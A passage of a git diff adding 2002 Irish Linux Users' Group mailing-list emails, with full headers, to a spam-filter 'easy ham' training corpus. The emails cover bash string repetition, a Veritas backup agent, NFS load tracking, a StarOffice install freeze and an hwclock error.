Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00445.4222549eadcf376d1f15942391cf806d b/bayes/spamham/easy_ham_2/00445.4222549eadcf376d1f15942391cf806d new file mode 100644 index 0000000..f3df64e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00445.4222549eadcf376d1f15942391cf806d @@ -0,0 +1,107 @@ +From ilug-admin@linux.ie Mon Aug 19 11:03:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 31B474419C + for ; Mon, 19 Aug 2002 05:54:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J9T0616400 for + ; Mon, 19 Aug 2002 10:29:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA29330; Mon, 19 Aug 2002 10:28:25 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA29289 + for ; Mon, 19 Aug 2002 10:28:15 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7J9SFn4028670 for + ; Mon, 19 Aug 2002 10:28:15 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D60BA1D.8040504@corvil.com> +Date: Mon, 19 Aug 2002 10:27:57 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] expanding a string multiple times +References: <3D5D27B9.9080009@corvil.com> + <20020817122603.GA1805@bagend.makalumedia.com> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Thanks to all for the responses, +more comments below... + +Niall O Broin wrote: +> On Fri, Aug 16, 2002 at 05:26:33PM +0100, Padraig Brady wrote: +> +> +>>How can I repeat a string an arbitrary number +>>of times in bash/sed/... +>> +>>I.E. I'm missing the repeat in the following: +>> +>>STRING="> " +>>NUMBER=3 +>>PREFIX=repeat $STRING $NUMBER +>>echo $PREFIX +>> +>>Pádraig. +>>p.s. I know how to do it with loops. +> +> +> Well, here's a solution using seq and sed - IMHO its a rather dim solution +> and it definitely dies if STRING contains / (and probably has other ways to +> die too) and a bash loop would certainly be faster, but you know how to do +> it with loops :-) +> +> PREFIX=seq -s "" $NUMBER|sed "s/./$STRING/g"OA + +clever. A bit more robust is: +#first param is number of +#times to repeat second param +# +#e.g. quote=`repeat 3 '> '` +repeat() { + seq -s , $1 | sed "s¬[0-9]\{1,\}[,]*¬$2¬g" +} + +btw loops in bash are shit slow! see: +http://www.iol.ie/~padraiga/readline/ + +> And while we're on silly bash questions, is there a way of getting the exit +> status of a command without using $? i.e. can I do something like +> +> result = some_magic_way_of_quoting(command) +> +> instead of +> +> command +> result=$? +> +> Note that I'm not looking for backtick or $() substitution, nor arithmetic +> evaluation as with $[] + +I don't think this is possible. + +thanks, +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00446.d8f63fcbc175d67473d8ca70f4884399 b/bayes/spamham/easy_ham_2/00446.d8f63fcbc175d67473d8ca70f4884399 new file mode 100644 index 0000000..e4ed162 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00446.d8f63fcbc175d67473d8ca70f4884399 @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Mon Aug 19 11:03:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E14D4419D + for ; Mon, 19 Aug 2002 05:54:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:39 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J9Zt616618 for + ; Mon, 19 Aug 2002 10:35:55 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA29718; Mon, 19 Aug 2002 10:34:53 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA29690 for ; Mon, + 19 Aug 2002 10:34:45 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id KAA25878 for ; Mon, + 19 Aug 2002 10:34:13 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7J9YIW19522 for ilug@linux.ie; Mon, 19 Aug 2002 10:34:18 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Mon, 19 Aug 2002 10:34:18 +0100 +From: "John P. Looney" +To: Irish LUG list +Message-Id: <20020819093418.GO26818@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG list +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Subject: [ILUG] veritas backup on linux ? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + I've a solaris box & a windows 2000 box, both with DLT drives, controlled +by Veritas Backup. + + Can I install some sort of client on the linux box to enable it to be +backed up ? A browse of the Veritas site is a little quiet on this front. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00447.a7cd2b6a82929a9c3f267d386dd187c6 b/bayes/spamham/easy_ham_2/00447.a7cd2b6a82929a9c3f267d386dd187c6 new file mode 100644 index 0000000..5a67452 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00447.a7cd2b6a82929a9c3f267d386dd187c6 @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Mon Aug 19 11:03:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1C38A4419E + for ; Mon, 19 Aug 2002 05:54:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J9lU617029 for + ; Mon, 19 Aug 2002 10:47:30 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA30282; Mon, 19 Aug 2002 10:46:24 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA30258 for ; + Mon, 19 Aug 2002 10:46:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from germain.ie.suberic.net (germain.g.dev.ie.alphyra.com + [192.168.7.200]) by ie.suberic.net (8.11.6/8.11.6) with ESMTP id + g7J9kEY13812 for ; Mon, 19 Aug 2002 10:46:14 +0100 +Received: from germain.ie.suberic.net (germain [127.0.0.1]) by + germain.ie.suberic.net (8.11.6/8.11.6) with ESMTP id g7J9kEA09725 for + ; Mon, 19 Aug 2002 10:46:14 +0100 +Date: Mon, 19 Aug 2002 10:46:10 +0100 +To: Padraig Brady +Cc: ilug@linux.ie +Subject: Re: [ILUG] expanding a string multiple times +Message-Id: <20020819104610.A9650@ie.suberic.net> +References: <3D5D27B9.9080009@corvil.com> + <20020817122603.GA1805@bagend.makalumedia.com> + <3D60BA1D.8040504@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <3D60BA1D.8040504@corvil.com>; from padraig.brady@corvil.com + on Mon, Aug 19, 2002 at 10:27:57AM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1030182374.2b7538@ie.suberic.net, + padraig.brady@corvil.com, ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Mon, Aug 19, 2002 at 10:27:57AM +0100, Padraig Brady wrote: +> > On Fri, Aug 16, 2002 at 05:26:33PM +0100, Padraig Brady wrote: +> >>How can I repeat a string an arbitrary number +> >>of times in bash/sed/... +> >> +> >>I.E. I'm missing the repeat in the following: +> >> +> >>STRING="> " +> >>NUMBER=3 +> >>PREFIX=repeat $STRING $NUMBER +> >>echo $PREFIX + +huh? i missed all this. do you want the string all on one line? + +the string repeated over and over, but with linebreaks in between, +this works: + + yes "$STRING" | head -"$NUMBER" + +use sed to remove the newline i guess if you want. the utilities yes, +head and sed are on pretty much every unix. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00448.843eb6313e84a0bef7f1799405e2f1e9 b/bayes/spamham/easy_ham_2/00448.843eb6313e84a0bef7f1799405e2f1e9 new file mode 100644 index 0000000..b8a32fe --- /dev/null +++ b/bayes/spamham/easy_ham_2/00448.843eb6313e84a0bef7f1799405e2f1e9 @@ -0,0 +1,84 @@ +From ilug-admin@linux.ie Mon Aug 19 11:03:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC5CE441A0 + for ; Mon, 19 Aug 2002 05:54:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:41 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J9sm617403 for + ; Mon, 19 Aug 2002 10:54:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA30847; Mon, 19 Aug 2002 10:53:58 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA30818 + for ; Mon, 19 Aug 2002 10:53:51 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7J9rfn4029295; Mon, + 19 Aug 2002 10:53:41 +0100 (IST) (envelope-from padraig.brady@corvil.com) +Message-Id: <3D60C014.1050903@corvil.com> +Date: Mon, 19 Aug 2002 10:53:24 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: kevin lyda +Cc: ilug@linux.ie +Subject: Re: [ILUG] expanding a string multiple times +References: <3D5D27B9.9080009@corvil.com> + <20020817122603.GA1805@bagend.makalumedia.com> + <3D60BA1D.8040504@corvil.com> <20020819104610.A9650@ie.suberic.net> +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +kevin lyda wrote: +> On Mon, Aug 19, 2002 at 10:27:57AM +0100, Padraig Brady wrote: +> +>>>On Fri, Aug 16, 2002 at 05:26:33PM +0100, Padraig Brady wrote: +>>> +>>>>How can I repeat a string an arbitrary number +>>>>of times in bash/sed/... +>>>> +>>>>I.E. I'm missing the repeat in the following: +>>>> +>>>>STRING="> " +>>>>NUMBER=3 +>>>>PREFIX=repeat $STRING $NUMBER +>>>>echo $PREFIX +>>> +> +> huh? i missed all this. do you want the string all on one line? +> +> the string repeated over and over, but with linebreaks in between, +> this works: +> +> yes "$STRING" | head -"$NUMBER" +> +> use sed to remove the newline i guess if you want. the utilities yes, +> head and sed are on pretty much every unix. + +Good. I actually looking at `yes` but I was in +slow mode on Friday and didn't consider combining with `head` + +To remove newlines then handiest is: tr -d '\n' + +thanks, +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00449.9272eb34ed6d02f46e34bd7300d9e7d8 b/bayes/spamham/easy_ham_2/00449.9272eb34ed6d02f46e34bd7300d9e7d8 new file mode 100644 index 0000000..baa8991 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00449.9272eb34ed6d02f46e34bd7300d9e7d8 @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Mon Aug 19 11:03:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DC8954419F + for ; Mon, 19 Aug 2002 05:54:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J9mx617091 for + ; Mon, 19 Aug 2002 10:48:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA30432; Mon, 19 Aug 2002 10:48:16 +0100 +Received: from smtpstore.strencom.net (ns1.strencom.net [217.75.0.66]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA30400 for ; + Mon, 19 Aug 2002 10:48:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host ns1.strencom.net + [217.75.0.66] claimed to be smtpstore.strencom.net +Received: from enterprise.wasptech.com (mail.wasptech.com [217.75.2.106]) + by smtpstore.strencom.net (Postfix) with ESMTP id 81C6ECEE85 for + ; Mon, 19 Aug 2002 10:00:41 +0000 (AZOST) +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Subject: RE: [ILUG] veritas backup on linux ? +Date: Mon, 19 Aug 2002 10:42:23 +0100 +Message-Id: <45130FBE2F203649A4BABDB848A9C9D00E9C0A@enterprise.wasptech.com> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [ILUG] veritas backup on linux ? +Thread-Index: AcJHYvA1p3SvV7fbQnCPiuQfsHl04QAAVrqA +From: "Fergal Moran" +To: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA30400 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Yes indeed - there should be an agents directory on the Veritas CD - in +the unix subdirectory there should be a file called be_agnt.tar which +needs to be installed and configured. I am not sure - but I think that +you may need to purchase a serial number in order to get this to work.. + +Fergal. + +> -----Original Message----- +> From: John P. Looney [mailto:valen@tuatha.org] +> Sent: 19 August 2002 10:34 +> To: Irish LUG list +> Subject: [ILUG] veritas backup on linux ? +> +> +> I've a solaris box & a windows 2000 box, both with DLT +> drives, controlled by Veritas Backup. +> +> Can I install some sort of client on the linux box to enable +> it to be backed up ? A browse of the Veritas site is a little +> quiet on this front. +> +> Kate +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for +> (un)subscription information. List maintainer: listmaster@linux.ie +> + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00450.fc9ca2a63a2cdd5bc25460b7d1433893 b/bayes/spamham/easy_ham_2/00450.fc9ca2a63a2cdd5bc25460b7d1433893 new file mode 100644 index 0000000..f15beaa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00450.fc9ca2a63a2cdd5bc25460b7d1433893 @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Mon Aug 19 11:46:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65BC243C4F + for ; Mon, 19 Aug 2002 06:28:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 11:28:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JA5O617783 for + ; Mon, 19 Aug 2002 11:05:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA31367; Mon, 19 Aug 2002 11:04:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA31334 for ; + Mon, 19 Aug 2002 11:04:36 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id EFF862B771 for ; + Mon, 19 Aug 2002 11:04:04 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2391) id AAF83E7D4; + Mon, 19 Aug 2002 11:04:04 +0100 (IST) +Received: from localhost (localhost [127.0.0.1]) by skynet.csn.ul.ie + (Postfix) with ESMTP id A15AC7243 for ; Mon, 19 Aug 2002 + 11:04:04 +0100 (IST) +Date: Mon, 19 Aug 2002 11:04:02 +0100 (IST) +From: Mel +X-X-Sender: mel@skynet +To: ilug@linux.ie +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Subject: [ILUG] Tracking NFS users +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Lets say we have an nfs server with nfsd running really high load. nfsstat +will tell you roughly how much traffic is going through with access, +getattr with either client or server but it won't tell you who is doing +it. Is there any way on server side to determine what client is causing +the most usage, and on the client side, is there a way to determine which +process? + +-- +Mel Gorman +MSc Student, University of Limerick +http://www.csn.ul.ie/~mel + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00451.4165f9a2baf204496f173bbd10ee49d3 b/bayes/spamham/easy_ham_2/00451.4165f9a2baf204496f173bbd10ee49d3 new file mode 100644 index 0000000..6b7df24 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00451.4165f9a2baf204496f173bbd10ee49d3 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Mon Aug 19 11:51:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E880D43C32 + for ; Mon, 19 Aug 2002 06:51:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 11:51:53 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JAqL619370 for + ; Mon, 19 Aug 2002 11:52:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA01297; Mon, 19 Aug 2002 11:50:37 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web12107.mail.yahoo.com (web12107.mail.yahoo.com + [216.136.172.27]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id LAA01267 + for ; Mon, 19 Aug 2002 11:50:28 +0100 +Message-Id: <20020819105025.36922.qmail@web12107.mail.yahoo.com> +Received: from [159.134.146.25] by web12107.mail.yahoo.com via HTTP; + Mon, 19 Aug 2002 11:50:25 BST +Date: Mon, 19 Aug 2002 11:50:25 +0100 (BST) +From: =?iso-8859-1?q?Colin=20Nevin?= +To: ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] staroffice 6.0 installation freezes under RH7.3 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi All, + +Just wondering if anyone has ever installed StarOffice +6.0 (or Open Office), and if any have experienced any +problems with the install freezing ? + +I'm using RedHat 7.3 kernel 2.4.18-3, and glibc 2.2.5 +? + +I might try downloading OpenOffice instead if it is +unresolved!!!! + +Cheers all, + +Colin + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00452.f12aad7e774e4aabdc9dd093187d17d4 b/bayes/spamham/easy_ham_2/00452.f12aad7e774e4aabdc9dd093187d17d4 new file mode 100644 index 0000000..e017d34 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00452.f12aad7e774e4aabdc9dd093187d17d4 @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Mon Aug 19 12:10:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E473443C32 + for ; Mon, 19 Aug 2002 07:10:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 12:10:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JB68619991 for + ; Mon, 19 Aug 2002 12:06:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA01978; Mon, 19 Aug 2002 12:05:01 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from frank.physics.dcu.ie (IDENT:root@frank.Physics.DCU.IE + [136.206.20.12]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA01936 + for ; Mon, 19 Aug 2002 12:04:54 +0100 +Received: from olga.physics.dcu.ie (IDENT:root@olga.physics.dcu.ie + [136.206.20.3]) by frank.physics.dcu.ie (8.11.6/8.11.6) with ESMTP id + g7JB4rD02350 for ; Mon, 19 Aug 2002 12:04:53 +0100 +Received: from physics.dcu.ie + (IDENT:+du1mALA2BHc4+UCDd7k49yYl/Ice2YU@feynman.Physics.DCU.IE + [136.206.21.4]) by olga.physics.dcu.ie (8.11.6/8.11.6) with ESMTP id + g7JB4rg01507 for ; Mon, 19 Aug 2002 12:04:53 +0100 +Message-Id: <3D60D081.6070008@physics.dcu.ie> +Date: Mon, 19 Aug 2002 12:03:29 +0100 +From: Felipe Soberon Vargas Prada +Reply-To: fso@physics.dcu.ie +Organization: Dublin City University +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) + Gecko/20011126 Netscape6/6.2.1 +X-Accept-Language: en-us +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] hwclock +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hello, +I've got a small problem but still annoying. I upgraded from RH 7.1 to +RH 7.3 and everything looks ok except that the time is ahead by one +hour. I've been looking the man files for hwclock and options but it +simply doesn't work, it gives the following error from he shell as well +as from the startup while loading the kernel: hwclock: ioctl() to +/dev/rtc to turn on update interrupts failed unexpectedly, errno=25: +Inappropriate ioctl for device. +.... my solution at the time is to enter the setup of the PC and reduce +the time by one hour (awful!) +Regards, +Felipe +PRL, DCU + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00453.c11216fd1ac94b5f66f6bc983733b8e1 b/bayes/spamham/easy_ham_2/00453.c11216fd1ac94b5f66f6bc983733b8e1 new file mode 100644 index 0000000..857ada9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00453.c11216fd1ac94b5f66f6bc983733b8e1 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Mon Aug 19 12:30:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2A69943C36 + for ; Mon, 19 Aug 2002 07:30:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 12:30:29 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JBTb620900 for + ; Mon, 19 Aug 2002 12:29:37 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA03242; Mon, 19 Aug 2002 12:28:36 +0100 +Received: from mail.tcd.ie (geminib.tcd.ie [134.226.16.162]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA03211 for ; + Mon, 19 Aug 2002 12:28:28 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host geminib.tcd.ie + [134.226.16.162] claimed to be mail.tcd.ie +Received: from barge.dsg.cs.tcd.ie (barge.dsg.cs.tcd.ie [134.226.36.68]) + by mail.tcd.ie (Postfix) with ESMTP id CD2B1FA5 for ; + Mon, 19 Aug 2002 12:28:27 +0100 (IST) +Received: (from david@localhost) by barge.dsg.cs.tcd.ie (8.11.2/8.11.2) id + g7JBUiA02765 for ilug@linux.ie; Mon, 19 Aug 2002 12:30:44 +0100 +Date: Mon, 19 Aug 2002 12:30:44 +0100 +From: "David O'Callaghan" +To: ilug@linux.ie +Subject: Re: [ILUG] staroffice 6.0 installation freezes under RH7.3 +Message-Id: <20020819123044.B2013@barge.tcd.ie> +Mail-Followup-To: ilug@linux.ie +References: <20020819105025.36922.qmail@web12107.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline 